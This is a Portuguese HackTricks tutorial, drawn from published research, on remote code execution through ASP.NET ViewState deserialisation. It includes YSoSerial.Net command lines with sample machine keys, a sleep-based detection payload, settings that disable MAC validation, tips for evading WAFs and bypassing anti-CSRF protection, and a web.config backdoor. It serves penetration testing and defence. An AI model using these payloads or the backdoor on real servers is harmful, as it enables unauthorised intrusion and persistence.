23 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
O conteúdo deste post foi extraído de https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
Introdução
As aplicações web ASP.NET usam o ViewState para manter o estado de uma página e persistir dados em um formulário web.
Normalmente, é possível executar código em um servidor web onde um ViewState válido pode ser forjado. Isso pode ser feito quando a funcionalidade de validação MAC foi desativada ou conhecendo:
- Chave de validação e seu algoritmo antes da versão do .NET Framework 4.5
- Chave de validação, algoritmo de validação, chave de descriptografia e algoritmo de descriptografia na versão do .NET Framework 4.5 ou superior
Para evitar ataques de manipulação, o .NET Framework pode assinar e criptografar o ViewState que foi serializado usando a classe LosFormatter
. Em seguida, verifica a assinatura usando o mecanismo de validação de código de autenticação de mensagem (MAC). A classe ObjectStateFormatter
realiza as tarefas de assinatura, criptografia e verificação. As chaves necessárias para executar o mecanismo de assinatura e/ou criptografia podem ser armazenadas na seção machineKey
dos arquivos web.config
(nível de aplicativo) ou machine.config
(nível de máquina). Isso é normalmente o caso quando vários servidores web são usados para servir a mesma aplicação, muitas vezes atrás de um balanceador de carga em uma fazenda ou cluster da Web. O seguinte mostra o formato da seção machineKey
em um arquivo de configuração de uma aplicação ASP.NET que usa a versão do .NET Framework 2.0 ou superior:
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
É importante notar que quando a seção machineKey
não foi definida nos arquivos de configuração ou quando os atributos validationKey
e decryptionKey
foram definidos como AutoGenerate
, a aplicação gera os valores necessários dinamicamente com base em um segredo criptograficamente aleatório. Os algoritmos também podem ser selecionados automaticamente. Atualmente, na versão mais recente do .NET Framework, o algoritmo de validação padrão é HMACSHA256
e o algoritmo de descriptografia padrão é AES
. Consulte [13] para mais detalhes.
RCE com validação de ViewState MAC desativada
No passado, era possível desativar a validação do MAC simplesmente definindo a propriedade enableViewStateMac
como False
. A Microsoft lançou um patch em setembro de 2014 [3] para impor a validação do MAC, ignorando essa propriedade em todas as versões do .NET Framework. Embora alguns de nós possam acreditar que "o ViewState MAC não pode mais ser desativado" [4], ainda é possível desativar a função de validação do MAC definindo a chave do registro AspNetEnforceViewStateMac
como zero em:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Alternativamente, adicionar a seguinte configuração perigosa ao arquivo web.config
de nível de aplicativo pode desativar a validação MAC também:
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
{% hint style="danger" %}
Quando a validação MAC do ViewState foi desativada, o projeto YSoSerial.Net pode ser usado para gerar payloads LosFormatter
como o ViewState para executar código arbitrário no servidor.
{% endhint %}
Antes da versão do .NET Framework 4.5, o parâmetro __VIEWSTATE
poderia ser criptografado enquanto a validação MAC estava desativada. Deve-se notar que a maioria dos scanners não tenta enviar um parâmetro ViewState não criptografado para identificar essa vulnerabilidade. Como resultado, é necessário fazer testes manuais para verificar se a validação MAC está desativada quando o parâmetro __VIEWSTATE
foi criptografado. Isso pode ser verificado enviando uma pequena string aleatória em base64 no parâmetro __VIEWSTATE
. A URL a seguir mostra um exemplo:
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
Se a página alvo responder com um erro, a validação MAC foi desativada, caso contrário, teria suprimido a mensagem de erro de validação MAC.
No entanto, em cenários em que você não pode ver a mensagem de erro, esse truque não funcionará.
Os scanners automatizados devem usar uma carga útil que cause um curto atraso no lado do servidor. Isso pode ser alcançado executando o seguinte código ASP.NET, por exemplo, para criar um atraso de 10 segundos:
System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
RCE com Validação de MAC ViewState ativada
Em versões mais antigas (anteriores à 4.5), o Framework .NET usa a propriedade TemplateSourceDirectory
[15] ao assinar um objeto serializado. Desde a versão 4.5, no entanto, ele usa as strings Purpose
para criar o hash. Ambos os mecanismos exigem o caminho de destino a partir do diretório raiz do aplicativo e o nome da página. Esses parâmetros podem ser extraídos da URL.
Aplicações que usam um framework mais antigo e impõem a criptografia do ViewState ainda podem aceitar um ViewState assinado sem criptografia. Isso significa que conhecer a chave de validação e seu algoritmo é suficiente para explorar um site. Parece que o ViewState é criptografado por padrão desde a versão 4.5, mesmo quando a propriedade viewStateEncryptionMode
foi definida como Never
. Isso significa que nas últimas versões do Framework .NET, a chave de descriptografia e seu algoritmo também são necessários para criar um payload.
O ViewState ASP.NET contém uma propriedade chamada ViewStateUserKey
[16] que pode ser usada para mitigar os riscos de ataques de falsificação de solicitação entre sites (CSRF) [4]. O valor da propriedade ViewStateUserKey
(quando não é null
) também é usado durante o processo de assinatura do ViewState. Embora não conhecer o valor desse parâmetro possa interromper nosso ataque, seu valor geralmente pode ser encontrado nos cookies ou em um parâmetro de entrada oculto ([17] mostra um exemplo implementado).
Plugins ViewState YSoSerial.Net
No YSoSerial.Net master e no YSoSerial.Netv2, você pode encontrar um plugin (este e este) para explorar essa técnica quando todas as informações são conhecidas.
Para o Framework .NET >= 4.5:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Para .NET Framework <= 4.0 (legado):
A chave de descriptografia e seu algoritmo não são necessários aqui:
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
Além de usar diferentes gadgets, é possível usar o parâmetro __VIEWSTATEGENERATOR
em vez de fornecer os caminhos:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Por padrão, ele usa o gadget ActivitySurrogateSelector que requer a compilação da classe ExploitClass.cs no projeto YSoSerial.Net. A carga útil do ViewState também pode ser criptografada para evitar os WAFs quando o valor decryptionKey é conhecido:
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
{% hint style="info" %} Nota: Devido à natureza dos gadgets usados no YSoSerial.Net, a página ASP.NET alvo sempre responde com um erro, mesmo quando um exploit foi executado com sucesso no lado do servidor. {% endhint %}
Caminho da aplicação
É importante encontrar a raiz do caminho da aplicação para criar um ViewState válido, a menos que:
- A aplicação use a versão do .NET Framework 4.0 ou abaixo; e
- O parâmetro
__VIEWSTATEGENERATOR
seja conhecido.
A seguinte captura de tela mostra a árvore de caminhos no IIS:
Você pode verificar [20] se não estiver familiarizado com os termos de diretório virtual e aplicação no IIS.
Para gerar um ViewState para a URL acima, os argumentos --path
e --apppath
devem ser os seguintes:
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/
Se não soubéssemos que "app2" era um nome de aplicativo, poderíamos usar tentativa e erro para testar todos os nomes de diretório na URL um por um até encontrar um ViewState que possa executar código no servidor (talvez obtendo uma solicitação DNS ou causando um atraso).
Gerador
Nesse caso, o argumento --generator
pode ser usado. O argumento --isdebug
pode ser usado para verificar se o plugin também calcula o mesmo parâmetro __VIEWSTATEGENERATOR
quando os argumentos --path
e --apppath
foram fornecidos.
Explorando versões mais antigas
Nenhum gadget foi identificado para explorar o .NET Framework v1.1 no momento em que este post foi escrito.
Para explorar aplicativos que usam o .NET Framework v4.0 ou abaixo, pode ser usado o ramo YSoSerial.Net v2.0 [21] (originalmente desenvolvido como parte de outra pesquisa [22]). No entanto, este projeto suporta apenas um número limitado de gadgets e também requer que a caixa de destino tenha o .NET Framework 3.5 ou superior instalado.
Outras ferramentas
Parece que o Immunity Canvas suporta a criação do parâmetro ViewState quando as chaves de validação e criptografia são conhecidas [29]. As seguintes ferramentas também foram lançadas coincidentemente na mesma época em que eu estava prestes a publicar meu trabalho, o que foi bastante surpreendente:
- https://github.com/0xACB/viewgen (escrito em Python)
- https://github.com/Illuminopi/RCEvil.NET (escrito em .NET)
Acredito que essas ferramentas atualmente não diferenciam entre diferentes versões do Framework .NET e visam a criptografia legada. Além disso, eles não usam o parâmetro ViewStateUserKey
que pode estar em uso para impedir ataques CSRF.
Dicas adicionais
Usando solicitações GET
Também é possível enviar o parâmetro __VIEWSTATE
na URL por meio de uma solicitação GET. O único fator limitante é o comprimento da URL que limita o tipo de gadgets que podem ser usados aqui.
Criptografia no Framework .NET anterior à versão 4.5
Como mencionado anteriormente, o parâmetro __VIEWSTATE
não precisa ser criptografado ao explorar o Framework .NET 4.0 e abaixo (testado na versão 2.0 até a versão 4.0), mesmo quando a propriedade ViewStateEncryptionMode
foi definida como Always
. O ASP.NET decide se o ViewState foi criptografado ou não, encontrando o parâmetro __VIEWSTATEENCRYPTED
na solicitação (não precisa ter nenhum valor). Portanto, é possível enviar um ViewState não criptografado removendo o parâmetro __VIEWSTATEENCRYPTED
da solicitação.
Isso também significa que a alteração da chave de descriptografia ou seu algoritmo não pode impedir os ataques quando a chave de validação e seu algoritmo foram roubados.
O parâmetro __VIEWSTATE
pode ser criptografado para contornar quaisquer WAFs.
Contornando o mecanismo anti-CSRF (anti-XSRF)
Uma página ASP.NET produz um erro quando um parâmetro __VIEWSTATE
inválido é usado. No entanto, a página ainda pode receber suas entradas quando Request.Form
é usado diretamente no código, por exemplo, usando Request.Form["txtMyInput"]
em vez de txtMyInput.Text
. O ataque CSRF pode ser realizado removendo o parâmetro __VIEWSTATE
da solicitação ou adicionando o parâmetro __PREVIOUSPAGE
com um valor inválido. Como o parâmetro __PREVIOUSPAGE
é criptografado e formatado em base64 por padrão, mesmo fornecer um único caractere como seu valor deve causar um erro.
Isso pode resultar em contornar o mecanismo de proteção anti-CSRF que foi implementado definindo o parâmetro Page.ViewStateUserKey
.
Uso do parâmetro ViewStateGenerator
Quando o parâmetro __VIEWSTATEGENERATOR
é conhecido, ele pode ser usado para os aplicativos ASP.NET que usam a versão 4.0 ou abaixo do Framework .NET para assinar um objeto serializado sem conhecer o caminho do aplicativo.
Divisão do ViewState para contornar WAFs
É possível dividir o parâmetro __VIEWSTATE
em várias partes quando a propriedade MaxPageStateFieldLength
foi definida como um valor positivo. Seu valor padrão é negativo e significa que o parâmetro __VIEWSTATE
não pode ser dividido em várias partes.
Isso pode ser útil para contornar alguns WAFs quando a divisão do ViewState é permitida.
Explorando o parâmetro EventValidation
O parâmetro __EVENTVALIDATION
e alguns outros parâmetros também são serializados de forma semelhante ao parâmetro __VIEWSTATE
e podem ser direcionados da mesma forma. Explorar um problema de desserialização via __EVENTVALIDATION
é mais restrito e requer:
- Uma solicitação POST
- Uma página ASP.NET que aceita parâmetros de entrada
- Um nome de parâmetro de entrada válido. Por exemplo, o parâmetro
myinput
na solicitação POST quando temos o seguinte código no lado do servidor:
<asp:TextBox runat="server" ID="myinput" />
O valor do parâmetro __VIEWSTATE
pode estar vazio na solicitação ao explorar o parâmetro __EVENTVALIDATION
, mas ele precisa existir.
A string Purpose
usada pelo .NET Framework 4.5 e superior para criar uma assinatura válida é diferente com base no parâmetro usado. A tabela a seguir mostra as strings Purpose
definidas no .NET Framework:
Parâmetro de entrada | String Purpose |
---|---|
“__VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
“__EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
P2 em P1|P2 em “__dv” + ClientID + “__hidden” | WebForms.DetailsView.KeyTable |
P4 em P1|P2|P3|P4 em “__CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
P3 em P1|P2|P3|P4 em “__gv” + ClientID + “__hidden” | WebForms.GridView.SortExpression |
P4 em P1|P2|P3|P4 em “__gv” + ClientID + “__hidden” | WebForms.GridView.DataKeys |
A tabela acima mostra todos os parâmetros de entrada que podem ser visados.
Cuidado com o parâmetro PreviousPage
Quando o parâmetro __PREVIOUSPAGE
existe na solicitação com dados inválidos, a aplicação não desserializa o parâmetro __VIEWSTATE
. Fornecer o parâmetro __CALLBACKID
impede esse comportamento.
Confiabilidade de erros
Como explicado anteriormente, às vezes usamos erros para verificar se um ViewState gerado é válido. O ASP.NET não mostra o erro de validação MAC por padrão quando um parâmetro __VIEWSTATEGENERATOR
inválido é usado. Esse comportamento muda quando a propriedade ViewStateUserKey
é usada, pois o ASP.NET não suprime mais os erros de validação MAC.
Além disso, as aplicações web ASP.NET podem ignorar os erros de validação MAC com a seguinte configuração, mesmo quando a propriedade ViewStateUserKey
é usada:
<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>
Web.config como uma porta dos fundos
Se os atacantes puderem alterar o arquivo web.config
na raiz de uma aplicação, eles podem executar facilmente código no servidor. No entanto, incorporar uma porta dos fundos furtiva na aplicação pode ser uma boa escolha para um atacante. Isso pode ser feito desabilitando a validação MAC e definindo a propriedade viewStateEncryptionMode
como Always
. Isso significa que todas as páginas ASP.NET que não definem a propriedade ViewStateEncryptionMode
como Auto
ou Never
sempre usam parâmetros ViewState criptografados. No entanto, como o ViewState não usa o recurso de validação MAC, eles agora estão vulneráveis à execução remota de código por meio da desserialização de dados não confiáveis. O seguinte mostra um exemplo:
<configuration>
…
<system.web>
…
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>
Outra opção para um site independente seria definir a seção machineKey
com chaves e algoritmos arbitrários para impedir outros atacantes!
Deve-se notar que definir a propriedade EnableViewState
como False
não impede esse ataque, pois o ViewState ainda será analisado pelo ASP.NET.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.